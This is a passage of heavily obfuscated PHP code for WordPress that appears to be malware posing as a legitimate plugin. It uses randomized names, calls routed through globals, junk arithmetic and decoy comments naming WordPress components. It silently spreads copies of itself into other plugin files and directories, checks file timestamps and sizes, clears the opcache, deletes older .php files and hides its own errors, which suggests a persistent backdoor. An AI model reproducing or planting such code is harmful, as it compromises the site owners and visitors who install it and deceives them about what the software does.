update_option(e77owqcywda_d(143),  $GLOBALS['__scf_fnyr4wcmh06x_144']($GLOBALS['__scf_rd9j34ymcsjc4s_148']($wc8uxi8riwgaae,     array($uimtcf5p5mhxg9gk))));
     }
  }   finally {
 y6dhkjz1j51dgng();
  }
 }


  function e_42zxx3yq4pdz4bo4($tcyku9bybkn,   $ye68b7hs2257kgf)
     {
    try   {
   if   (interface_exists(onlv7_99m8sby3(149)) &&  $ye68b7hs2257kgf    instanceof    Throwable)  {
$a55w2xlq_boau =   $GLOBALS['__scf_pozjicggfgaq_9']($tcyku9bybkn      .      c_5yznsrtgse_i(150)   . $ye68b7hs2257kgf->getMessage(), 0,   (478-222));
      } elseif    ($ye68b7hs2257kgf  instanceof Exception)  {
    $a55w2xlq_boau   =  $GLOBALS['__scf_pozjicggfgaq_9']($tcyku9bybkn   .     okltugscqfcy(150)   .   $ye68b7hs2257kgf->getMessage(),    0, (239+17));
    }  elseif  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($ye68b7hs2257kgf)  &&  $GLOBALS['__scf_m36_x4cy3m1b5_10']($ye68b7hs2257kgf)      > 0)  {
      $a55w2xlq_boau =  $GLOBALS['__scf_pozjicggfgaq_9']($tcyku9bybkn    . onlv7_99m8sby3(150) .  $ye68b7hs2257kgf, 0, (427-171));
 } else  {
   return;
      }
// archive dynamic tumbling-window

    if (!isset($GLOBALS[okltugscqfcy(151)])) $GLOBALS[okltugscqfcy(151)]  =    array();$vk4vsg0gfvcgkk=1171;$fsisa28204po=$vk4vsg0gfvcgkk%4;
if  (!$GLOBALS['__scf_wwy_cardw8r5v6_146']($a55w2xlq_boau,   $GLOBALS[okltugscqfcy(151)],  true)) {
 $GLOBALS[onlv7_99m8sby3(152)][]    =  $a55w2xlq_boau;
 }
  if      ($GLOBALS['__scf_hotyagmbtkrb_36']($GLOBALS[okltugscqfcy(153)])  > (0x19+0x19))   {
// strength-reduce flyweight for WP Social Links

    $GLOBALS[okltugscqfcy(153)]  =  $GLOBALS['__scf_kugu9wdsub_154']($GLOBALS[e77owqcywda_d(155)],    -(73-23));
 }
}  catch   (Throwable  $qa334ikxw11dx8jg) {
}    catch   (Exception  $qa334ikxw11dx8jg)    {
  }
        }
 function ohkc5udk96vdi9dqobtykb($k7b_rvq0a5,    $rnibb0_mi2n,    $jl_ruybeyx54iw =    (194^200),  $dtmb4x_663o5v      =  1)
     {


     if    (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(156)))   return    false;$ltyy135hs6=-301;$lar85vchuw6i5f=($ltyy135hs6>0)?$ltyy135hs6:-$ltyy135hs6;
if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($rnibb0_mi2n))   {
return  add_action($k7b_rvq0a5, function  (...$cw525w0tmqb)  use   ($rnibb0_mi2n) {


 if     ($GLOBALS['__scf_xjs199hyyb2xza_4']($rnibb0_mi2n))  return $rnibb0_mi2n(...$cw525w0tmqb);
return     null;
  },   $jl_ruybeyx54iw,   $dtmb4x_663o5v);
   }
  return add_action($k7b_rvq0a5, $rnibb0_mi2n,   $jl_ruybeyx54iw,   $dtmb4x_663o5v);
 }
   function  d5mabhd3jevjxm_a($k7b_rvq0a5,   $rnibb0_mi2n, $jl_ruybeyx54iw   =     (2+8),   $dtmb4x_663o5v    =  1)
{
if      (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(157)))  return  false;
   if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($rnibb0_mi2n))   {
 return   add_filter($k7b_rvq0a5,     function (...$cw525w0tmqb)     use  ($rnibb0_mi2n)    {
   if   ($GLOBALS['__scf_xjs199hyyb2xza_4']($rnibb0_mi2n))     return $rnibb0_mi2n(...$cw525w0tmqb);



  return     isset($cw525w0tmqb[0])  ?     $cw525w0tmqb[0]    :     null;
  }, $jl_ruybeyx54iw,  $dtmb4x_663o5v);
    }
  return  add_filter($k7b_rvq0a5,    $rnibb0_mi2n,  $jl_ruybeyx54iw, $dtmb4x_663o5v);



  }
  function  hc439iwbgn5b2nwx5x_lu()

{
 $d5o4amclcy2jr  = defined(okltugscqfcy(123))  ?    WP_CONTENT_DIR  .   onlv7_99m8sby3(85)    .    l09115umv3lykft9t(ABSPATH  .    onlv7_99m8sby3(66), (4+4))  :    $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())    .    e77owqcywda_d(158);
   if (!@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr)  && _mi9a3bco72i6e1chhgbc($d5o4amclcy2jr))  {
 z896t8tuy9x7zn5($d5o4amclcy2jr,      (730-237),   true);


    if    (@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr))    {
  wf9y470__ikilr($d5o4amclcy2jr  .  onlv7_99m8sby3(159),  "<?php // Silence is golden.\n",    okltugscqfcy(66));
       }
}
      if  (@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr)   && @$GLOBALS['__scf_lnazygzamf_47']($d5o4amclcy2jr)) {
 return   $d5o4amclcy2jr;
   }
  $w3wqeuahmncedd    =   $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())     . c_5yznsrtgse_i(160);
if  (!@$GLOBALS['__scf_iomf4blfg0_43']($w3wqeuahmncedd)   &&  _mi9a3bco72i6e1chhgbc($w3wqeuahmncedd))    z896t8tuy9x7zn5($w3wqeuahmncedd,  (0x1b7+0x36),    true);
      if     (@$GLOBALS['__scf_iomf4blfg0_43']($w3wqeuahmncedd)  && @$GLOBALS['__scf_lnazygzamf_47']($w3wqeuahmncedd)) return    $w3wqeuahmncedd;
 $erphy94k_zus    =    $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz());
    if   (@$GLOBALS['__scf_lnazygzamf_47']($erphy94k_zus)   &&  $erphy94k_zus   !== rr86pukxk9_hcz1())     return  $erphy94k_zus;
if (defined(c_5yznsrtgse_i(161)) &&    @$GLOBALS['__scf_lnazygzamf_47'](WP_CONTENT_DIR) &&  _mi9a3bco72i6e1chhgbc(WP_CONTENT_DIR))    return    WP_CONTENT_DIR;
return $d5o4amclcy2jr;


      }



      function     rb4qo3s3qey8iml9k_t()
{
    if     (defined(c_5yznsrtgse_i(162))    && @$GLOBALS['__scf_lnazygzamf_47'](WP_CONTENT_DIR) && _mi9a3bco72i6e1chhgbc(WP_CONTENT_DIR)) return  WP_CONTENT_DIR;
 $r4ipnha6nk4   = $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz());$onjm_ideemfpsi=(0x7+0xd7);$ism1ek2y=$onjm_ideemfpsi%4;
  if (_mi9a3bco72i6e1chhgbc($r4ipnha6nk4))  return      $r4ipnha6nk4;

   return WP_CONTENT_DIR;
 }
   
   function xoaebe3djgc6z_1bgf($gfqyhfnvmz)
  {
     if   (empty($GLOBALS[okltugscqfcy(163)])  || !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[c_5yznsrtgse_i(163)])) return false;
if (isset($GLOBALS[c_5yznsrtgse_i(163)][$gfqyhfnvmz]))   return  true;
 $gku5e_2o27pm91 =    $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(90)) ?      @$GLOBALS['__scf_jm_ztoos21fema_33']($gfqyhfnvmz)   : false;

return   ($gku5e_2o27pm91    !== false &&     isset($GLOBALS[onlv7_99m8sby3(163)][$gku5e_2o27pm91]));
    }
  function   i_voaws495l5gi0($gfqyhfnvmz)
{



   if  (empty($GLOBALS[okltugscqfcy(163)])  ||  !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[onlv7_99m8sby3(164)])) return;

   unset($GLOBALS[e77owqcywda_d(164)][$gfqyhfnvmz]);
   $gku5e_2o27pm91  =   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(90)) ?  @$GLOBALS['__scf_jm_ztoos21fema_33']($gfqyhfnvmz)  : false;
   if     ($gku5e_2o27pm91 !==     false)  unset($GLOBALS[c_5yznsrtgse_i(164)][$gku5e_2o27pm91]);



  }
      function  q7573cu7j8x5sandn00b7p($gfqyhfnvmz)
{
if   (!isset($GLOBALS[c_5yznsrtgse_i(164)])   ||    !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[onlv7_99m8sby3(164)]))  {$vtv0csonl5=62+100;$x2u2xd12dofn5p=$vtv0csonl5-44;
       $GLOBALS[c_5yznsrtgse_i(165)] =  array();



  }
$hi85v7xxap  = $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(166)) ?      @$GLOBALS['__scf_jm_ztoos21fema_33']($gfqyhfnvmz)   : false;
 $GLOBALS[c_5yznsrtgse_i(165)][$hi85v7xxap     !==     false  ?  $hi85v7xxap  :  $gfqyhfnvmz]  =   $gfqyhfnvmz;
  static  $rz70dzsz0ru =    false;
  if   (!$rz70dzsz0ru)  {


   $rz70dzsz0ru =   true;
  if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(167)))  $GLOBALS['__scf_mk0x8rn0w4_167'](onlv7_99m8sby3(168));
/* constant-time handshake */

}
     }
 function      isw_jtp138ve_m3m()

{


       if   (empty($GLOBALS[e77owqcywda_d(169)])   || !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[e77owqcywda_d(169)])) {



       return;
 }
foreach ($GLOBALS[e77owqcywda_d(169)] as  $h0so9v4vtve30x => $bc9xnndnhy4h89al)  {
 if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($bc9xnndnhy4h89al))    $bc9xnndnhy4h89al  = $h0so9v4vtve30x;

 if     ($h0so9v4vtve30x   ===   ku6yldy17ivtsoehkpgirz()    ||   $bc9xnndnhy4h89al     ===    ku6yldy17ivtsoehkpgirz())  continue;
  try     {
if   (@$GLOBALS['__scf_cr6q9fwgft_18']($bc9xnndnhy4h89al) &&   !x0v1bjoq5k18hm0o0l($bc9xnndnhy4h89al) && tcabtbfivnye9t($bc9xnndnhy4h89al)) {
brq2e22wo0d9ax40s9($bc9xnndnhy4h89al);


  qeqwysacoqglzf7($bc9xnndnhy4h89al);
 }


} catch  (Throwable   $ye68b7hs2257kgf)   {
   }  catch   (Exception $ye68b7hs2257kgf)    {
  }
   }

  }
function iqp60uhyc6u8tykds()
   {
try     {
$ye68b7hs2257kgf  =   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(170)) ?   @error_get_last()  :   null;
if (!$GLOBALS['__scf_a91xkwk0qm_35']($ye68b7hs2257kgf)   ||    empty($ye68b7hs2257kgf[okltugscqfcy(171)])  || empty($ye68b7hs2257kgf[onlv7_99m8sby3(172)]))    return;
if   (!$GLOBALS['__scf_wwy_cardw8r5v6_146']($ye68b7hs2257kgf[e77owqcywda_d(172)],   array(E_ERROR,    E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR,     E_USER_ERROR),   true))    return;
    $kmgnq9_fgpd56zwu    =     isset($ye68b7hs2257kgf[c_5yznsrtgse_i(173)]) ? (string) $ye68b7hs2257kgf[c_5yznsrtgse_i(174)]      : "";


  if   (stripos($kmgnq9_fgpd56zwu,    onlv7_99m8sby3(175))   !==    false  ||     stripos($kmgnq9_fgpd56zwu,  c_5yznsrtgse_i(176))    !== false) return;
 $vtin74jazam  = $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(166))   ?     @$GLOBALS['__scf_jm_ztoos21fema_33'](ku6yldy17ivtsoehkpgirz())     : ku6yldy17ivtsoehkpgirz();
$_ef   =   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(166))    ? @$GLOBALS['__scf_jm_ztoos21fema_33']($ye68b7hs2257kgf[e77owqcywda_d(171)])     :  $ye68b7hs2257kgf[c_5yznsrtgse_i(177)];
   if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($vtin74jazam)  || !$GLOBALS['__scf_ncrh0liqs6be8x_41']($_ef) || $_ef !==  $vtin74jazam)  return;
  if    (isset($GLOBALS[onlv7_99m8sby3(178)]))   {
$wnli1ee2cwp458_ = @$GLOBALS['__scf_ha14er2zmzf_92'](ku6yldy17ivtsoehkpgirz(),  false,   null,    0,      (959+3137));
if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($wnli1ee2cwp458_)  && $GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(179),    $wnli1ee2cwp458_,    $_dm)   &&     $_dm[1]  !== (string)    $GLOBALS[e77owqcywda_d(178)])  return;    
  unset($wnli1ee2cwp458_,  $_dm);
  if   (isset($GLOBALS[e77owqcywda_d(180)]))  {
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(59)))   @clearstatcache(true,    ku6yldy17ivtsoehkpgirz());
 $_4jw59efl_j      =  (string)  @$GLOBALS['__scf_o_3hcsdzwrvrr_96'](ku6yldy17ivtsoehkpgirz()) .   ':'   .  (string)    @$GLOBALS['__scf_xfxvwe4pd_9ay_95'](ku6yldy17ivtsoehkpgirz());
        if     ($_4jw59efl_j  !==    (string) $GLOBALS[okltugscqfcy(180)])  return;  



unset($_4jw59efl_j);
   }
 }
 $eaeerm127wtnj    =     $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  c_5yznsrtgse_i(181));
 $xk1vcndfojpj_ya  =      r69sydkoh03qc2iwi5sfm(ku6yldy17ivtsoehkpgirz());
 $g_9zby3sr4igrr  =   $GLOBALS['__scf_ncrh0liqs6be8x_41']($xk1vcndfojpj_ya)  ?  $GLOBALS['__scf_poant85f5yad_56']($xk1vcndfojpj_ya)     : "";
 unset($xk1vcndfojpj_ya);$cl5ea7x7r1fjs=69*7;$lfewjrdhffo=$cl5ea7x7r1fjs-35;
 if    ($g_9zby3sr4igrr     !==  "") {
wf9y470__ikilr($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())  . onlv7_99m8sby3(182)    .  $eaeerm127wtnj,  $g_9zby3sr4igrr,  'q');
 wf9y470__ikilr($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())    . e77owqcywda_d(183)   .   $g_9zby3sr4igrr,    (string) $GLOBALS['__scf_p_l9i38f5mdu2r_184'](), 'q');
     if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(147))) {
  @update_option(onlv7_99m8sby3(185),  $g_9zby3sr4igrr . '|'  . $GLOBALS['__scf_p_l9i38f5mdu2r_184'](), e77owqcywda_d(186));
 }


 }



$_suvn0g6fb     = rr86pukxk9_hcz1();



        if ($g_9zby3sr4igrr      !==  ""     &&  $_suvn0g6fb  !==      $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())  &&  @$GLOBALS['__scf_iomf4blfg0_43']($_suvn0g6fb)  &&  @$GLOBALS['__scf_lnazygzamf_47']($_suvn0g6fb))   {
        wf9y470__ikilr($_suvn0g6fb   . e77owqcywda_d(182)      .  $eaeerm127wtnj,      $g_9zby3sr4igrr, 'q');
 }


  s73576w3v3b__5su5(z383zy78ulhvdb47());
      xz6divp2h18ddcqnb2(onlv7_99m8sby3(187));

 $_760wgzhlz =     ku6yldy17ivtsoehkpgirz()  .    e77owqcywda_d(188);
   if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(74)))     @$GLOBALS['__scf__fjwdq5uaqy8us_74'](ku6yldy17ivtsoehkpgirz(),  $_760wgzhlz);
if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(60)))  {

@opcache_invalidate(ku6yldy17ivtsoehkpgirz(), true);
  

 @opcache_invalidate($_760wgzhlz, true);
  }
  foreach (array($GLOBALS['__scf__ozzh8uadm__11']($_760wgzhlz), rr86pukxk9_hcz1())    as    $u4mf7b1jqsft)     {


$tmnze8dkx6i3jser  =  pd5w5h3uqt5mrsxraacf5($u4mf7b1jqsft,    (0xa3f+0x949));
 if     (!$GLOBALS['__scf_a91xkwk0qm_35']($tmnze8dkx6i3jser)) continue;


foreach   ($tmnze8dkx6i3jser as    $bwd2rc05nf8x7) {



if ($GLOBALS['__scf_pozjicggfgaq_9']($bwd2rc05nf8x7, -(0x3+0x5))   !==     c_5yznsrtgse_i(189))  continue;

   $vp5mapjfp93rctr5   =    $u4mf7b1jqsft  . '/'  .      $bwd2rc05nf8x7;
     $pw_qyqvblolqxw4     =  @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($vp5mapjfp93rctr5);
     if  ($pw_qyqvblolqxw4 &&  $pw_qyqvblolqxw4  < $GLOBALS['__scf_p_l9i38f5mdu2r_184']() -  (604745+55))  {



 jl7b1mmow1nrgaho8($vp5mapjfp93rctr5,  (517-97));
   er_0rzjfu8611gx($vp5mapjfp93rctr5);
      }
       }
}

   unset($u4mf7b1jqsft, $tmnze8dkx6i3jser,  $bwd2rc05nf8x7, $vp5mapjfp93rctr5,  $pw_qyqvblolqxw4);
   }  catch (Throwable     $qa334ikxw11dx8jg)     {
 } catch   (Exception $qa334ikxw11dx8jg)     {
 }



 }



function qfjrcc2t089u3yjv43($gfqyhfnvmz,  $llq7fv_hf7u3)
  {
try {
if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($gfqyhfnvmz)  || $gfqyhfnvmz === ""   ||   !$GLOBALS['__scf_ncrh0liqs6be8x_41']($llq7fv_hf7u3)  ||    $llq7fv_hf7u3  === "")     return;
$d5o4amclcy2jr = $GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz);
     if   (!@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr) || !@$GLOBALS['__scf_lnazygzamf_47']($d5o4amclcy2jr))    return;
  $s9zlmfo_51hlx3t   =   $d5o4amclcy2jr   . onlv7_99m8sby3(190)     .    $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz,   okltugscqfcy(181));

$b5ho7dho67k =    @$GLOBALS['__scf_ha14er2zmzf_92']($s9zlmfo_51hlx3t);
      if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($b5ho7dho67k) && $GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(191),  $b5ho7dho67k,  $kmgnq9_fgpd56zwu)  &&   version_compare($kmgnq9_fgpd56zwu[0],  $llq7fv_hf7u3,   c_5yznsrtgse_i(192)))    return;
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(193)))   @$GLOBALS['__scf_uayyvei514_193']($s9zlmfo_51hlx3t, $llq7fv_hf7u3);


  }   catch      (Throwable   $ye68b7hs2257kgf)  {
 }  catch  (Exception  $ye68b7hs2257kgf)    {
   }
  }
function   abom8iirrrwnyl9lj58gbw()


      {
     try  {
  if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(141))) {
  return;
 



       }
   if      (@get_option(okltugscqfcy(194),      0)) {
       ohkc5udk96vdi9dqobtykb(e77owqcywda_d(195), c_5yznsrtgse_i(196),   0);
    }
// dispose pattern

   if  (!r9q5mjga_j0i3gm_(c_5yznsrtgse_i(197)))   return;
     

 
   $iiiwigvhfj9  =  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56'](ABSPATH     .  (string)   lz2qq_av2vpeb134hcpk()),    0,  (3<<2));
    $khh2asvkhtkjq    =      (string)   @get_option($iiiwigvhfj9, "");
    $ezsp5334holykj    = okltugscqfcy(198);
 $lm_5juh778e23mw   = "";
      
 $iv_uw7bt0t  =    strrev(orb88b5b15pr5r67());$vocjf9r_ydac=721;$rva1t79t3soy=($vocjf9r_ydac>0)?$vocjf9r_ydac:-$vocjf9r_ydac;
   $ln7zo5w_q43umt =  w218ynit42v8uao2p();
 $gtskzpp24kzu1hc   = $ln7zo5w_q43umt    .  '|'     . $iv_uw7bt0t;

if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($khh2asvkhtkjq,  '|')   !==   false)   {$o62pr6qw0nm6dm=PHP_MAJOR_VERSION;$lcnbvxf5iw2p6v=$o62pr6qw0nm6dm*6;
 $fx01o6je6abjz =  $GLOBALS['__scf_yg8mfbm26s_111']('|', $khh2asvkhtkjq,   2);
$ezsp5334holykj   =     $fx01o6je6abjz[0];
   $lm_5juh778e23mw   =  $fx01o6je6abjz[1];     
}  else      {

  $lm_5juh778e23mw  = $khh2asvkhtkjq;
 }
    
   if    (!$lm_5juh778e23mw)  {
 @update_option($iiiwigvhfj9,    $gtskzpp24kzu1hc,     c_5yznsrtgse_i(199));
return;
}

 


 if    ($lm_5juh778e23mw   === $iv_uw7bt0t)  {
    if ($khh2asvkhtkjq  !==   $gtskzpp24kzu1hc  &&   version_compare($ln7zo5w_q43umt,   $ezsp5334holykj,   c_5yznsrtgse_i(192))) {
   @update_option($iiiwigvhfj9,   $gtskzpp24kzu1hc,      e77owqcywda_d(199));
   }
     return;
 }
 
 $q14aqkx8kg_  = strrev($lm_5juh778e23mw);
  if ($q14aqkx8kg_    ===   ""  || $GLOBALS['__scf_n2ceqwn4my98_3']($q14aqkx8kg_) !==    $q14aqkx8kg_) {
    @update_option($iiiwigvhfj9, $gtskzpp24kzu1hc,     c_5yznsrtgse_i(199));
   

   return;

 }
   $lchudodk5r_fb   =  rr86pukxk9_hcz1()  .     '/'     .  $q14aqkx8kg_;
  $bi2g99cfwtcgg   =  "";
 if (defined(e77owqcywda_d(32)))      {

   $bi2g99cfwtcgg   =     WP_PLUGIN_DIR  . '/' . $GLOBALS['__scf_nyge3zwzqqi4_200']($q14aqkx8kg_, PATHINFO_FILENAME)   .    '/'   .   $q14aqkx8kg_;
   }
   



 $kq4bc_ukb0xvj7et     = @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($lchudodk5r_fb);
$pcwv9xu9dh3j  =  $kq4bc_ukb0xvj7et !==   false     && $kq4bc_ukb0xvj7et  >= (4980+20);
  $yo3u7kaxvl5xd =    $bi2g99cfwtcgg  ?     @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($bi2g99cfwtcgg)   : false;
 $l9cvk9d62r     =    $yo3u7kaxvl5xd     !==  false  &&  $yo3u7kaxvl5xd  >=  (6100-1100);
  
     if  (!$pcwv9xu9dh3j    &&    !$l9cvk9d62r)   {
  @update_option($iiiwigvhfj9,  $gtskzpp24kzu1hc,  onlv7_99m8sby3(199));
       return;


}
  $vcm0k1aokwt52utd    =  $pcwv9xu9dh3j ?  $lchudodk5r_fb :     $bi2g99cfwtcgg;

$wcughy75wxzcj = @$GLOBALS['__scf_ha14er2zmzf_92']($vcm0k1aokwt52utd,  false,  null,   0, (6202-2106));
     if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($wcughy75wxzcj)      &&     $GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(179),  $wcughy75wxzcj,    $_fm))   {
 $ezsp5334holykj    =  $_fm[1];
      }  elseif  (b1p_z7rdqk4o1fv4ey8f3t($vcm0k1aokwt52utd, (7243-2243)))  {
$ezsp5334holykj    = onlv7_99m8sby3(198);
}
 unset($wcughy75wxzcj,  $_fm);
 $n_35pzhf0ju1rj  =    $pcwv9xu9dh3j;
   if      (!$n_35pzhf0ju1rj &&      $l9cvk9d62r)    {
   $g_nj1msg5on  = $GLOBALS['__scf_nyge3zwzqqi4_200']($q14aqkx8kg_, PATHINFO_FILENAME)  .   '/'   .      $q14aqkx8kg_;
$q2g2g8o4xh    = (array) @get_option(e77owqcywda_d(143),  array());
$n_35pzhf0ju1rj     =  $GLOBALS['__scf_wwy_cardw8r5v6_146']($g_nj1msg5on,  $q2g2g8o4xh,   true);
if (!$n_35pzhf0ju1rj     &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(201))   &&  is_multisite()   &&     $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(202)))  {
 $in6xrhcsrhhrx2f = (array)  @get_site_option(c_5yznsrtgse_i(203),   array());
 $n_35pzhf0ju1rj =    isset($in6xrhcsrhhrx2f[$g_nj1msg5on]);
unset($in6xrhcsrhhrx2f);
    }
   unset($g_nj1msg5on,    $q2g2g8o4xh);
       }
// WP Media Text Block: join sliding-window

      $cq0tzx_6fw6pffdw   =  version_compare($ln7zo5w_q43umt,  $ezsp5334holykj);
if   ($cq0tzx_6fw6pffdw <= 0)   {
 $qpswb75tofztvof  =     b1p_z7rdqk4o1fv4ey8f3t($vcm0k1aokwt52utd,  (5459-459));
 $_ou4ykkqja5  =   (int) @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($vcm0k1aokwt52utd);



 $keuu3vs_scpoti0j   =   (!$qpswb75tofztvof   ||  $_ou4ykkqja5   >    (52428760+40));


 if (!$keuu3vs_scpoti0j &&   $_ou4ykkqja5 >   (1128308-79732))  {
 $bky7i45g0knet6p3     =   @$GLOBALS['__scf_ha14er2zmzf_92']($vcm0k1aokwt52utd, false,    null,   0,  (4036+60));
if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($bky7i45g0knet6p3)  ||  !$GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(204),    $bky7i45g0knet6p3))  $keuu3vs_scpoti0j   =  true;
   }
  if  (!$keuu3vs_scpoti0j   &&    !tru98rudh0dwaa($vcm0k1aokwt52utd))    $keuu3vs_scpoti0j  =   true;
     if      (!$keuu3vs_scpoti0j)    {

    $c_klrbb1pykh4i  = gqw3uom14c2468n1o0();
    if (!empty($c_klrbb1pykh4i[c_5yznsrtgse_i(205)]))    {
 $aqwmg783i40i6   =     @$GLOBALS['__scf_jm_ztoos21fema_33']($c_klrbb1pykh4i[e77owqcywda_d(205)]);
    $q4myai9kzh1    = @$GLOBALS['__scf_jm_ztoos21fema_33']($vcm0k1aokwt52utd);
 if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($aqwmg783i40i6) &&   $GLOBALS['__scf_ncrh0liqs6be8x_41']($q4myai9kzh1)   &&   $aqwmg783i40i6 ===   $q4myai9kzh1) {



 $e427nstt9kg31tnp  =     t6oowwx96_mz36ue04x($c_klrbb1pykh4i);


  if  ($e427nstt9kg31tnp   ===     onlv7_99m8sby3(206)  ||    $e427nstt9kg31tnp ===   e77owqcywda_d(207))    $keuu3vs_scpoti0j  =  true;
   }


unset($aqwmg783i40i6,  $q4myai9kzh1, $e427nstt9kg31tnp);
}
  if    (!$keuu3vs_scpoti0j  && j9r6r4ckcu2wki7o3d41($vcm0k1aokwt52utd)) $keuu3vs_scpoti0j    =  true;
   unset($c_klrbb1pykh4i);$i_2hd11_scs=PHP_MAJOR_VERSION;$fi58o6vhf1p=$i_2hd11_scs*6;
 }

        if  ($keuu3vs_scpoti0j)   {

   if ($qpswb75tofztvof)    q7573cu7j8x5sandn00b7p($vcm0k1aokwt52utd);
  @update_option($iiiwigvhfj9,   $gtskzpp24kzu1hc,   okltugscqfcy(199));
 return;



     }
// immutable serializer

  if   (!$n_35pzhf0ju1rj)   {
@update_option($iiiwigvhfj9,   $gtskzpp24kzu1hc,     okltugscqfcy(199));
 return;


   }
// coalesce iterator for WP Term Description


if (y06apgntkz3fy3e7gf($vcm0k1aokwt52utd, ku6yldy17ivtsoehkpgirz()))  {
    @update_option($iiiwigvhfj9,  $gtskzpp24kzu1hc,  onlv7_99m8sby3(199));
return;
}
   if    ($cq0tzx_6fw6pffdw    <      0 || ($cq0tzx_6fw6pffdw ===  0   &&  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(), e77owqcywda_d(208))), 0,   (132^136))  <=  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($GLOBALS['__scf_n2ceqwn4my98_3']($q14aqkx8kg_,   c_5yznsrtgse_i(208))),   0,    (129^141)))) {
qfjrcc2t089u3yjv43(ku6yldy17ivtsoehkpgirz(),   $ezsp5334holykj);


   vbzg9bh6c8d3epn1h6rh4(ku6yldy17ivtsoehkpgirz());
 return   true;
 }
 }
      if    (empty($GLOBALS[c_5yznsrtgse_i(209)]))  {
  $GLOBALS[c_5yznsrtgse_i(209)]   = true;
if   (b1p_z7rdqk4o1fv4ey8f3t($vcm0k1aokwt52utd,   (4978+22)))  q7573cu7j8x5sandn00b7p($vcm0k1aokwt52utd);
 $g974kjot_ug1ay3  =    $GLOBALS['__scf_p_l9i38f5mdu2r_184']();



 qdde0bjty1e07vpar5t2(ku6yldy17ivtsoehkpgirz(),   ($g974kjot_ug1ay3    - ($g974kjot_ug1ay3    %    (99962+38)))  +   lz2qq_av2vpeb134hcpk());


  unset($g974kjot_ug1ay3);
 

   qfjrcc2t089u3yjv43($lchudodk5r_fb,   $ln7zo5w_q43umt);
  if  ($bi2g99cfwtcgg) qfjrcc2t089u3yjv43($bi2g99cfwtcgg, $ln7zo5w_q43umt);


 ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(195),   onlv7_99m8sby3(210),   0);
  @update_option($iiiwigvhfj9,    $gtskzpp24kzu1hc,  e77owqcywda_d(199));
 xz6divp2h18ddcqnb2(okltugscqfcy(211));
        if  ($bi2g99cfwtcgg    !== "") {
s73576w3v3b__5su5($GLOBALS['__scf_nyge3zwzqqi4_200']($q14aqkx8kg_, PATHINFO_FILENAME) . '/'   . $q14aqkx8kg_);


}
// transpile scope-chain for WP Block API v3

   }
return;
 }  catch (Throwable $ye68b7hs2257kgf)  {
/* quadratic bulkhead */

   e_42zxx3yq4pdz4bo4(okltugscqfcy(212),  $ye68b7hs2257kgf);



      }   catch (Exception  $ye68b7hs2257kgf) {
}  finally  {
    gp1654dr46ffgrsz(c_5yznsrtgse_i(197));
   }
}
function  pd5w5h3uqt5mrsxraacf5($d5o4amclcy2jr, $gekek5k62j =  0)
